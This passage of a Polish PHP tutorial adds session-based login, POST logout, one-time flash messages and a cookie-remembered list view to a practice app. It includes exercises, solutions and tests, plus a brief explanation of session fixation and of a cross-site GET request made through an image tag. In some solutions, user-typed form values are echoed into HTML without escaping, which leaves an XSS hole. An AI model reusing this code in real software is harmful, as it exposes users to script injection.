dobre dopreferencji: widok listy, motyw, język, „nie pokazuj więcej”kto jest zalogowany, komunikaty jednorazowe, dane między krokami formularza

Decyzje w TaskQuest:

Co pamiętamyGdzieDlaczego
login i imię zalogowanego użytkownikasesjaod tego zależy, kim jest użytkownik — nie może tego sam „przestawić”
komunikat „Zadanie zostało dodane.”sesjama być pokazany raz i nie może dać się podrobić adresem ani ciasteczkiem
wybrany widok listycookieto tylko wygoda; ma przetrwać zamknięcie przeglądarki; jeśli ktoś je zmieni — zobaczy po prostu inny widok

3.7 Typowe błędy przy cookies i sesjach

  • Brak session_start() w pliku — $_SESSION nie istnieje albo jest pusta, choć „przecież przed chwilą zapisaliśmy”. Każdy plik, który korzysta z sesji, musi mieć własne session_start().
  • session_start() lub setcookie() po wypisaniu HTML (nawet po spacji przed <?php) — headers already sent.
  • Odczyt $_COOKIE[...] zaraz po setcookie() w tym samym skrypcie — widać starą wartość (albo nic).
  • Ufanie ciasteczkom — np. if ($_COOKIE['rola'] === 'admin'). Użytkownik wpisze sobie admin w F12.
  • $_COOKIE['filtr'] bez ?? — przy pierwszej wizycie ciasteczka nie ma: Undefined array key.
  • Usuwanie ciasteczka z inną ścieżką, niż zostało utworzone — przeglądarka uzna je za inne ciasteczko i stare zostanie.
  • Zapominanie o exit po przekierowaniu — skrypt działa dalej, choć użytkownik miał zostać wyrzucony na stronę logowania (Eksperyment 6).

4. SAMODZIELNIE — dwa liczniki

BRUDNOPIS. Zastąp zawartość brudnopis.php kodem, który pokazuje dwa liczniki odwiedzin tej strony:

  1. „Odwiedziny w tej sesji” — licznik w $_SESSION (klucz wizyty),
  2. „Wszystkie Twoje odwiedziny” — licznik w ciasteczku wizyty, ważnym 7 dni. Wartość z ciasteczka przed użyciem sprawdź regexem /^\d+$/ (znasz go z Lekcji 13) — gdy nie pasuje albo ciasteczka nie ma, licz od zera,
  3. przycisk „Zakończ sesję” (formularz POST do brudnopis.php), który czyści dane sesji i przekierowuje z powrotem na brudnopis.php (wzorzec PRG z Lekcji 13). Żądanie POST nie liczy się jako odwiedziny.

Efekt:

Co robiszSesjaWszystkie
pierwsze wejście11
F5, F533
„Zakończ sesję”14
nowe okno incognito (prywatne)11 — to osobny „słoik” na ciasteczka
zwykłe okno: zamknij całą przeglądarkę i otwórz stronę ponownie1 (nowa sesja)5
w F12 zmień ciasteczko wizyty na abc i odśwież+11
w F12 zmień ciasteczko wizyty na 500 i odśwież+1501

Jak sprawdzić: każdy wiersz tabeli. Przy pierwszym wejściu nie może być żadnego Warning. Ostatni wiersz pokazuje, dlaczego licznikowi z ciasteczka nie można ufać — sprawdzenie regexem chroni tylko przed bzdurą, nie przed oszustwem.

HINT

session_start() jako pierwsza instrukcja. Potem obsługa POST (wyczyść, przekieruj, exit) — zanim zaczniesz liczyć. Dla sesji: weź dotychczasową wartość przez ?? (brak = 0), dodaj 1, zapisz z powrotem. Dla ciasteczka: to samo, ale z $_COOKIE, sprawdzeniem regexem i setcookie() — a na stronie wypisz zmienną, nie $_COOKIE['wizyty'].

POMOC
<?php

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // ... wyczyść dane sesji, przekieruj, zakończ ...
}

// licznik w sesji
$wizytySesji = ($_SESSION['wizyty'] ?? 0) + 1;
// ... zapisz do sesji ...

// licznik w cookie
$wizytyCookie = $_COOKIE['wizyty'] ?? '0';

if (/* nie same cyfry */) {
    $wizytyCookie = '0';
}

// ... +1, setcookie() na 7 dni ...
?>
<!-- HTML: dwa akapity z licznikami i formularz z przyciskiem -->
ROZWIĄZANIE
<?php

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION = [];
    header('Location: brudnopis.php');
    exit;
}

// licznik w sesji
$wizytySesji = ($_SESSION['wizyty'] ?? 0) + 1;
$_SESSION['wizyty'] = $wizytySesji;

// licznik w cookie
$wizytyCookie = $_COOKIE['wizyty'] ?? '0';

if (!preg_match('/^\d+$/', $wizytyCookie)) {
    $wizytyCookie = '0';
}

$wizytyCookie = (int) $wizytyCookie + 1;
setcookie('wizyty', $wizytyCookie, time() + 60 * 60 * 24 * 7);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Brudnopis — liczniki</title>
</head>
<body>
    <p>Odwiedziny w tej sesji: <strong><?= $wizytySesji; ?></strong></p>
    <p>Wszystkie Twoje odwiedziny (cookie, 7 dni): <strong><?= $wizytyCookie; ?></strong></p>

    <form method="post" action="brudnopis.php">
        <button type="submit">Zakończ sesję</button>
    </form>
</body>
</html>

Dlaczego w sesji nie ma sprawdzania regexem? Bo wartość $_SESSION['wizyty'] zapisał nasz kod i użytkownik nie ma do niej dostępu — to zawsze int. Wartość ciasteczka przysłała przeglądarka — mogła być dowolna.

Dlaczego „Zakończ sesję” to POST, a nie link brudnopis.php?reset=1? Reguła z Lekcji 13: GET czytamy, POST zmieniamy. Czyszczenie sesji zmienia stan — tak samo będzie z wylogowaniem w TaskQuest.

5. Włączamy sesje do TaskQuest — krok po kroku

PROJEKT. Od tego miejsca kończymy pracę w brudnopisie (zostaw pliki — przydadzą się w testach) i zmieniamy pliki prawdziwej aplikacji w katalogu taskquest/. Kolejność jak w Lekcji 13: najpierw funkcje (logika bez HTML), potem nowe strony, na końcu podłączenie istniejących stron.

Krok 1 — SAMODZIELNIE: funkcje logowania i sesji

1a — walidujDaneLogowania()

Plik projektu: includes/funkcje_tekstowe.php — na końcu pliku, pod skrocOpis().

Formularz logowania będzie miał dwa pola: login (identyfikator, np. Kama_2026) i imię (jak aplikacja ma się do nas zwracać, np. Kama) — to dwie różne informacje, tak jak dotąd $login i $imieUzytkownika. Napisz funkcję:

walidujDaneLogowania(string $login, string $imieUzytkownika): array

Dostaje oczyszczone teksty z formularza i zwraca tablicę komunikatów (pusta = dane poprawne) — dokładnie jak walidujNoweZadanie() z Lekcji 13. Nie rzuca wyjątków, niczego nie wyświetla. Reguły:

PoleWarunekKomunikat
loginnie spełnia zasad walidujLogin()Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.
imiępusteImię jest wymagane.
imię(gdy niepuste) dłuższe niż 30 znakówImię może mieć najwyżej 30 znaków.

Nie przepisuj regexa loginu — wywołaj istniejącą walidujLogin(). Reguła loginu jest w aplikacji w jednym miejscu i tak ma zostać.

1b — includes/funkcje_sesji.php

Nowy plik projektu: includes/funkcje_sesji.php. Tak jak inne pliki z funkcjami: samo PHP, bez zamykającego ?>. Cztery funkcje:

FunkcjaCo robi
czyZalogowany(): booltrue, gdy w sesji jest klucz login
wymagajLogowania(): voidgdy użytkownik nie jest zalogowany — przekierowuje na zaloguj.php i kończy skrypt
ustawKomunikat(string $komunikat): voidzapisuje komunikat w sesji pod kluczem komunikat
pobierzKomunikat(): stringzwraca komunikat z sesji i usuwa go z sesji; gdy komunikatu nie ma — zwraca pusty tekst ''

Dwie nowości:

  • $_SESSION działa wewnątrz funkcji bez przekazywania jej w parametrze. Zwykłe zmienne spoza funkcji są w niej niewidoczne (dlatego dotąd wszystko przekazywaliśmy w parametrach), ale $_SESSION, $_GET, $_POST, $_COOKIE, $_SERVER to tablice superglobalne — dostępne wszędzie. (Dokładniej o nich w Lekcji 21.)
  • Funkcje korzystają z sesji, ale jej nie uruchamiają. session_start() wywołuje każda strona na samej górze — funkcje zakładają, że to już się stało.

Sprawdź (brudnopis):

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';

var_dump(walidujDaneLogowania('Kama_2026', 'Kama'));
var_dump(walidujDaneLogowania('Ka', ''));

ustawKomunikat('Test');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());
var_dump(czyZalogowany());

Oczekiwane: pusta tablica; tablica z dwoma komunikatami (login, imię wymagane); string(4) "Test"; string(0) ""; bool(false). Brak ostrzeżeń. (Pełne testy — w sekcji 7.)

HINT

walidujDaneLogowania() ma taki sam szkielet jak walidujNoweZadanie(): $bledy = [];, kilka if, return $bledy;. W pobierzKomunikat() kolejność ma znaczenie: najpierw zapamiętaj komunikat w zmiennej (przez ??), potem usuń go z sesji, na końcu zwróć zmienną. unset() na kluczu, którego nie ma, nie powoduje błędu. wymagajLogowania() robi to samo co przekierowanie w dodaj-zadanie.php — tylko pod warunkiem.

POMOC
function czyZalogowany(): bool
{
    return isset(/* ... */);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        // ... przekierowanie na zaloguj.php i koniec skryptu ...
    }
}


function pobierzKomunikat(): string
{
    $komunikat = /* ... ?? '' */;
    // ... usuń z sesji ...

    return $komunikat;
}
ROZWIĄZANIE

a) includes/funkcje_tekstowe.php — na końcu pliku:

function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy[] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}

b) includes/funkcje_sesji.php — cały nowy plik:

<?php

function czyZalogowany(): bool
{
    return isset($_SESSION['login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION['komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION['komunikat'] ?? '';
    unset($_SESSION['komunikat']);

    return $komunikat;
}

exit w funkcji kończy cały skrypt, nie tylko funkcję (tym różni się od return). Dzięki temu strona, która wywoła wymagajLogowania(), nie wykona dla niezalogowanego ani jednej linii więcej.

Krok 2 — SAMODZIELNIE: strona zaloguj.php

Nowy plik projektu: zaloguj.php — w katalogu głównym taskquest/. Budowa jak dodaj-zadanie.php (logika na górze, prezentacja na dole), z trzema różnicami:

  1. Pierwsza instrukcja pliku: session_start(); — przed require_once.
  2. Dołącz tylko to, czego strona używa: funkcje_tekstowe.php i funkcje_sesji.php.
  3. Zalogowany użytkownik nie potrzebuje formularza logowania — jeśli czyZalogowany(), od razu przekieruj na index.php.

Dalej znany schemat:

  • wartości początkowe: $login = '', $imieUzytkownika = '', $bledy = [],
  • w if (POST): odczyt pól login i imie przez ?? z trim(), potem walidujDaneLogowania(),
  • gdy nie ma błędów: zapisz login i imię w sesji (klucze login i imie), przekieruj na index.php, exit,
  • prezentacja: $nazwaStrony = 'Logowanie — TaskQuest', header.php, <h2>Logowanie</h2>, jedno zdanie o tym, że to wersja demonstracyjna bez hasła, ramka z błędami (jak w dodaj-zadanie.php), formularz POST do zaloguj.php: login (text, maxlength="20", required), imie (text, maxlength="30", required), przycisk „Wejdź do TaskQuest”; formularz zachowuje wpisane dane; footer.php.

Jedna nowa linia, którą dopiszemy tuż przed zapisaniem danych do sesji:

session_regenerate_id(true);

Zmienia identyfikator sesji na nowy (a true usuwa stary plik sesji). Po co? Numerek z szatni sprzed logowania mógł „wyciec” — np. ktoś podsunął użytkownikowi link z własnym identyfikatorem. Nowy numerek po zalogowaniu sprawia, że stary jest bezwartościowy. To ochrona przed atakiem session fixation — dokładniej w Lekcji 22. Zapamiętaj regułę: zmiana uprawnień (logowanie) = nowy identyfikator sesji.

Sprawdź (z novalidate w <form> na czas sprawdzania):

  • pusty formularz → dwa komunikaty,
  • login Ka, imię Kama → jeden komunikat (login); pola zachowują wpisane dane,
  • login Kama_2026, imię Kama → przekierowanie na index.php (strona wygląda na razie jak wcześniej — podłączymy ją w Kroku 3); w F12 jest PHPSESSID, a w C:\xampp\tmp plik sesji z login i imie,
  • ponowne wejście na zaloguj.php → od razu przekierowanie na index.php.

Na koniec usuń novalidate.

HINT

To naprawdę jest dodaj-zadanie.php w mniejszej wersji — porównaj oba pliki. Zamiast wczytajZadania() / zapiszZadania() w try masz dwie linie zapisu do $_SESSION. Do sprawdzenia „czy już zalogowany” masz gotową funkcję z Kroku 1.

ROZWIĄZANIE
<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = [];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Logowanie</h2>
        <p>Wersja demonstracyjna: podaj login i imię — bez hasła.</p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <form method="post" action="zaloguj.php">
            <label for="login">Login *</label>
            <input type="text" id="login" name="login" maxlength="20" required value="<?= $login; ?>">

            <label for="imie">Imię *</label>
            <input type="text" id="imie" name="imie" maxlength="30" required value="<?= $imieUzytkownika; ?>">

            <button type="submit">Wejdź do TaskQuest</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

Zwróć uwagę: w zaloguj.php nazwy $login i $imieUzytkownika znaczą „to, co wpisano w formularzu” — tak jak $tytulZadania w dodaj-zadanie.php. Do sesji trafiają dopiero po walidacji.

Krok 3 — SAMODZIELNIE: TaskQuest tylko dla zalogowanych

Teraz podłączamy sesję do istniejących stron.

Plik projektu index.php:

  1. session_start(); jako pierwsza instrukcja (zaraz pod <?php).
  2. Dołącz includes/funkcje_sesji.php (na końcu listy require_once).
  3. Pod require_once nowy blok // --- tylko dla zalogowanych --- z wywołaniem wymagajLogowania().
  4. W bloku // --- dane użytkownika --- zamiast tekstów na sztywno — wartości z sesji.
  5. W prezentacji usuń blok z Lekcji 8, który wypisuje „Login poprawny: …” / „Login jest niepoprawny.”, a w jego miejsce wstaw <p>Zalogowano jako <strong>...</strong></p>.

Plik projektu dodaj-zadanie.php: punkty 1–3 (bez danych użytkownika — ta strona ich nie wyświetla).

Sprawdź: w nowym oknie incognito otwórz index.php — ląduje na zaloguj.php. To samo dla dodaj-zadanie.php. Zaloguj się jako Ola_2026 / Ola — strona główna wita „Witaj, Ola!” i pokazuje „Zalogowano jako Ola_2026”. W zwykłym oknie (zalogowana/y jako Kama) nadal „Witaj, Kama!”. Dwie przeglądarki, dwie sesje, dwóch użytkowników — ale ta sama lista zadań i te same XP (pamiętasz uwagę z początku lekcji?).

HINT

W index.php blok danych użytkownika to dwie linie przypisania z $_SESSION. Nie potrzeba tu ??: linię wyżej wymagajLogowania() gwarantuje, że niezalogowany do tego miejsca nie dojdzie, a oba klucze zapisuje razem jedno miejsce w aplikacji — zaloguj.php.

ROZWIĄZANIE

a) index.php — początek pliku:

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION['imie'];
$login = $_SESSION['login'];

b) index.php — prezentacja. Usuń:

        <?php
        if (walidujLogin($login)) {
            echo "<p>Login poprawny: $login</p>";
        } else {
            echo "<p>Login jest niepoprawny.</p>";
        }
        ?>

i wstaw w to miejsce:

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>

Dlaczego usuwamy ten blok? Od dziś login trafia do sesji wyłącznie przez zaloguj.php, i to dopiero po sprawdzeniu przez walidujLogin(). W index.php warunek byłby zawsze prawdziwy, a gałąź else — martwym kodem. Funkcja walidujLogin() zostaje — przeniosła się tam, gdzie login naprawdę przychodzi od użytkownika. (Sprawdzać trzeba dane w momencie, gdy wchodzą do aplikacji, a nie przy każdym wyświetleniu.)

c) dodaj-zadanie.php — początek pliku:

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();

diagnostyka.php celowo nie dostaje ani session_start(), ani wymagajLogowania(): od Lekcji 10 ma działać nawet przy zepsutym projekcie i dołącza tylko funkcje_diagnostyczne.php. To, że jest dostępna dla każdego, to znane uproszczenie — wrócimy do niego w lekcji o bezpieczeństwie.

Krok 4 — SAMODZIELNIE: wylogowanie

Nowy plik projektu: wyloguj.php. Skrypt nie ma własnego HTML — robi swoje i przekierowuje:

  1. session_start();,
  2. wylogowanie zmienia stan, więc przyjmujemy tylko POST — dla każdej innej metody przekieruj na index.php (i exit),
  3. trzy kroki zakończenia sesji z sekcji 3.5,
  4. przekierowanie na zaloguj.php.

Plik projektu index.php: pod akapitem „Zalogowano jako …” dodaj formularz POST z action="wyloguj.php" i jednym przyciskiem „Wyloguj”.

Sprawdź:

  • kliknij „Wyloguj” → zaloguj.php; w F12 jest PHPSESSID, ale z innym identyfikatorem (to nowa, pusta sesja uruchomiona przez zaloguj.php); stary plik sesji zniknął z C:\xampp\tmp,
  • zaloguj się i wpisz w pasek adresu wyloguj.php → wracasz na index.php, nadal zalogowana/y,
  • po wylogowaniu kliknij w przeglądarce „Wstecz” — możesz zobaczyć starą stronę z pamięci przeglądarki. Naciśnij F5: zaloguj.php. Serwer już Cię nie zna.
HINT

Warunek dla metody to odwrócenie tego, co znasz: !== 'POST'. Przycisk wylogowania to najmniejszy możliwy formularz — <form> z method i action i jeden <button>, bez pól.

ROZWIĄZANIE

a) wyloguj.php — cały nowy plik:

<?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;

b) index.php — prezentacja:

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>
        <form method="post" action="wyloguj.php">
            <button type="submit">Wyloguj</button>
        </form>

Dlaczego nie zwykły link <a href="wyloguj.php">? Link to żądanie GET, a żądanie GET bardzo łatwo wywołać bez wiedzy użytkownika — np. obca strona może wstawić obrazek z src="http://localhost/taskquest/wyloguj.php". Współczesne przeglądarki częściowo blokują dołączanie ciasteczek do takich żądań (opcja SameSite — Lekcja 22), ale nie opieramy działania aplikacji na tym, jak zachowa się konkretna przeglądarka. Wylogowanie jest niegroźne, ale reguła „GET tylko czyta” chroni przed całą rodziną takich problemów. (Pełna ochrona formularzy POST przed podobnymi sztuczkami — tokeny CSRF — to Lekcja 22.)

Krok 5 — SAMODZIELNIE: komunikat, który pojawia się tylko raz

W Lekcji 13 komunikat jechał w adresie. Teraz schowamy go w sesji:

1. dodaj-zadanie.php (POST): zapis do pliku → ustawKomunikat('Zadanie zostało dodane.') → przekierowanie na index.php
2. index.php (GET):          pobierzKomunikat() → "Zadanie zostało dodane."  (i od razu usuwa go z sesji)
3. index.php (F5):           pobierzKomunikat() → ""  — komunikatu już nie ma

Taki komunikat nazywa się często flash message — „błyska” raz i znika. Adres jest czysty, a komunikatu nie da się wywołać ręcznie, bo trafia do sesji wyłącznie z naszego kodu.

Zadanie:

  1. dodaj-zadanie.php: po zapiszZadania(...) ustaw komunikat Zadanie zostało dodane. i przekieruj na index.php (bez ?dodano=1).
  2. zaloguj.php: po zapisaniu danych do sesji ustaw komunikat Zalogowano. Powodzenia w zadaniach!.
  3. index.php:
    • usuń zmienną $zadanieDodane i akapit z nią związany (pod <h2>Twoje zadania</h2> zostaje sam link „+ Dodaj zadanie”),
    • przed prezentacją dodaj blok // --- komunikat jednorazowy (z sesji) --- ze zmienną $komunikat,
    • na samej górze treści panelu (przed „Zdobywaj punkty za wykonane zadania!”) wyświetl <p class="sukces">...</p>, gdy komunikat nie jest pusty. Przenosimy go na górę, bo to już nie jest komunikat tylko o zadaniach — przychodzi też po logowaniu.
HINT

pobierzKomunikat() wywołaj dokładnie raz i zapamiętaj wynik w zmiennej. Drugie wywołanie zwróciłoby już pusty tekst. Pusty komunikat sprawdzisz przez !== ''.

ROZWIĄZANIE

a) dodaj-zadanie.php — fragment w try:

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;

b) zaloguj.php — fragment po walidacji:

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }

c) index.php — w bloku parametrów z adresu usuń linię:

$zadanieDodane = ($_GET['dodano'] ?? '') === '1';

i przed // --- prezentacja --- dodaj:

// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();

d) index.php — prezentacja, zaraz po require_once ... header.php i ?>:

        <?php if ($komunikat !== '') { ?>
        <p class="sukces"><?= $komunikat; ?></p>
        <?php } ?>

        <p>Zdobywaj punkty za wykonane zadania!</p>

a pod <h2>Twoje zadania</h2> zostaje tylko:

        <p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>

Dlaczego wypisanie $komunikat bez htmlspecialchars() jest dziś bezpieczne? Każdy komunikat, który może trafić do sesji, jest wpisany w naszym kodzie — żaden nie zawiera tekstu od użytkownika. Trzymaj się tej zasady z Lekcji 13 także przy nowych komunikatach.

Sprawdź: dodaj zadanie → zielona ramka na górze, adres to czyste index.php. F5 → ramka zniknęła. Wpisz index.php?dodano=1 → brak ramki, brak błędów. Wyloguj się i zaloguj → „Zalogowano. Powodzenia w zadaniach!”, po F5 znika.

6. Kolejne zadanie — widok listy zapamiętany w cookie

Sesja pamięta, kto korzysta z aplikacji. Teraz coś, co ma przetrwać nawet zamknięcie przeglądarki, a przy tym nie jest groźne, gdy ktoś to zmieni: wybrany widok listy. To zadanie dla cookie.

SAMODZIELNIE — pliki projektu config/config.php i index.php.

Zasady:

  1. Gdy w adresie jest filtr — jak dotąd decyduje adres, a wybrany widok zapisujemy w ciasteczku filtr na 30 dni.
  2. Gdy w adresie nie ma filtr — widok bierzemy z ciasteczka.
  3. Gdy nie ma ani parametru, ani ciasteczka — wszystkie.
  4. Wartość z ciasteczka to dane od użytkownika — przechodzi to samo zawężenie do trzech wartości co parametr z adresu.
  5. Do ciasteczka zapisujemy wartość po zawężeniu (nigdy surowy tekst z adresu).
  6. Czas 30 dni zapisz w config/config.php jako stałą CZAS_PAMIETANIA_WIDOKU (w sekundach) — tak jak XP_NA_POZIOM to „ustawienie aplikacji”, a nie liczba ukryta w środku kodu.

Efekt: kliknij „aktywne”, potem „+ Dodaj zadanie” i dodaj zadanie — po powrocie na index.php widok to nadal aktywne. Zamknij przeglądarkę, otwórz ją, zaloguj się — nadal aktywne.

HINT

Operator ?? można łączyć w łańcuch: $a ?? $b ?? 'domyślna' — weź pierwszą wartość, która istnieje. Zawężenie z Lekcji 13 zostaje bez zmian. setcookie() wywołaj tylko wtedy, gdy parametr był w adresie (isset(...)) — i pamiętaj, że cały ten blok stoi przed header.php, więc nagłówek zdąży wyjść.

POMOC
// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = /* adres ?? ciasteczko ?? 'wszystkie' */;

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (/* parametr był w adresie */) {
    setcookie(/* nazwa, wartość po zawężeniu, teraz + CZAS_PAMIETANIA_WIDOKU */);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    // ... bez zmian ...
};
ROZWIĄZANIE

a) config/config.php — na końcu pliku:

define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach

b) index.php — blok // --- parametry z adresu strony (GET) --- zamień na:

// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' => $zadaniaWgTerminu,
    'aktywne' => $aktywneWgTerminu,
    'wykonane' => $wykonaneWgTerminu
};

W prezentacji nic się nie zmienia — linki widoków i linia Widok: ... działają jak dotąd.

Przemyśl dwie decyzje:

  • Ciasteczko jest przypisane do przeglądarki, nie do użytkownika. Jeśli Kama wybierze „aktywne”, wyloguje się, a na tym samym komputerze zaloguje się Ola — Ola też zobaczy „aktywne”. Przy preferencji widoku to akceptowalne. Przy czymkolwiek ważniejszym — nie.
  • wyloguj.php nie usuwa ciasteczka filtr. Wylogowanie kończy sesję, a preferencja wyglądu to ustawienie przeglądarki. (Gdybyśmy chcieli je usunąć — setcookie('filtr', '', time() - 3600);.)

Ostatnie drobne zmiany:

  • includes/footer.php: TaskQuest 1.4,
  • diagnostyka.php: dopisz do $wymaganePliki trzy pozycje: 'zaloguj.php', 'wyloguj.php', 'includes/funkcje_sesji.php'. Strona powinna pokazać 15 × [OK], a na liście plików w includes/ — nowy funkcje_sesji.php.

7. Testy

Test 1 — walidujDaneLogowania() na granicach

BRUDNOPIS. Przewidź wynik każdego przypadku, zanim uruchomisz kod:

<?php

require_once __DIR__ . '/includes/funkcje_tekstowe.php';

$przypadki = [
    ['Kama_2026', 'Kama'],
    ['Ka', 'Kama'],
    ['Kam', 'Kama'],
    [str_repeat('a', 20), 'Kama'],
    [str_repeat('a', 21), 'Kama'],
    ['Kama 2026', 'Kama'],
    ['Kąma_2026', 'Kama'],
    ['Kama-2026', ''],
    ['Kama_2026', str_repeat('ż', 30)],
    ['Kama_2026', str_repeat('ż', 31)],
    ['Kama_2026', 'Kama Nowak'],
    ['', ''],
];

foreach ($przypadki as $numer => $dane) {
    $bledy = walidujDaneLogowania($dane[0], $dane[1]);
    echo ($numer + 1) . ". " . (count($bledy) === 0 ? "OK" : implode(' | ', $bledy)) . "<br>";
}
NrDane (co jest nietypowe)Oczekiwany wynik
1wszystko poprawneOK
2login: 2 znakikomunikat o loginie
3login: 3 znaki (granica)OK
4login: 20 znaków (granica)OK
5login: 21 znakówkomunikat o loginie
6spacja w loginiekomunikat o loginie
7polska litera w loginiekomunikat o loginie
8puste imię (myślnik w loginie jest w porządku)Imię jest wymagane.
9imię: 30 × żOK (30 znaków, choć 60 bajtów — mb_strlen())
10imię: 31 znakówImię może mieć najwyżej 30 znaków.
11spacja w imieniuOK — imię to nie login
12wszystko pustekomunikat o loginie \| Imię jest wymagane.

Test 2 — funkcje sesji i jedna wspólna sesja

BRUDNOPIS, uruchamiany jako zalogowany użytkownik TaskQuest:

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

echo czyZalogowany() ? "zalogowany<br>" : "niezalogowany<br>";

ustawKomunikat('Pierwszy');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());

ustawKomunikat('A');
ustawKomunikat('B');
var_dump(pobierzKomunikat());

ustawKomunikat('Pozdrowienia z brudnopisu');
Co sprawdzaszOczekiwany wynik
czyZalogowany()zalogowany — brudnopis widzi tę samą sesję co TaskQuest (ta sama przeglądarka, ten sam PHPSESSID)
pierwsze pobierzKomunikat()string(8) "Pierwszy"
drugie pobierzKomunikat()string(0) ""
dwa ustawKomunikat() pod rządstring(1) "B" — drugi nadpisuje pierwszy (w sesji jest jedno miejsce na komunikat)
po uruchomieniu brudnopisu otwórz index.phpzielona ramka „Pozdrowienia z brudnopisu”; po F5 znika
brudnopis z sekcji 4 i przycisk „Zakończ sesję”, potem index.phpzaloguj.php — $_SESSION = [] usunęło także login. Jedna przeglądarka = jedna sesja dla całej domeny

Test 3 — logowanie i strony tylko dla zalogowanych

PLIKI PROJEKTU. Zacznij w oknie incognito (czysta przeglądarka).

Co robiszOczekiwany efekt
otwierasz index.phpprzekierowanie na zaloguj.php
otwierasz dodaj-zadanie.phpprzekierowanie na zaloguj.php
otwierasz diagnostyka.phpstrona działa (świadomie publiczna), 15 × [OK]
z novalidate: pusty formularz logowaniadwa komunikaty, formularz nadal pusty
z novalidate: login Kama 2026, imię Kamakomunikat o loginie; w polach wpisane dane
login Ola_2026, imię Ola index.php: zielona ramka „Zalogowano. Powodzenia w zadaniach!”, „Witaj, Ola!” (bez spacji), „Zalogowano jako Ola_2026”
F5ramka zniknęła, reszta bez zmian
otwierasz zaloguj.phpod razu index.php
F12: PHPSESSID na zaloguj.php przed logowaniem i na index.php po nimróżne wartości (session_regenerate_id())

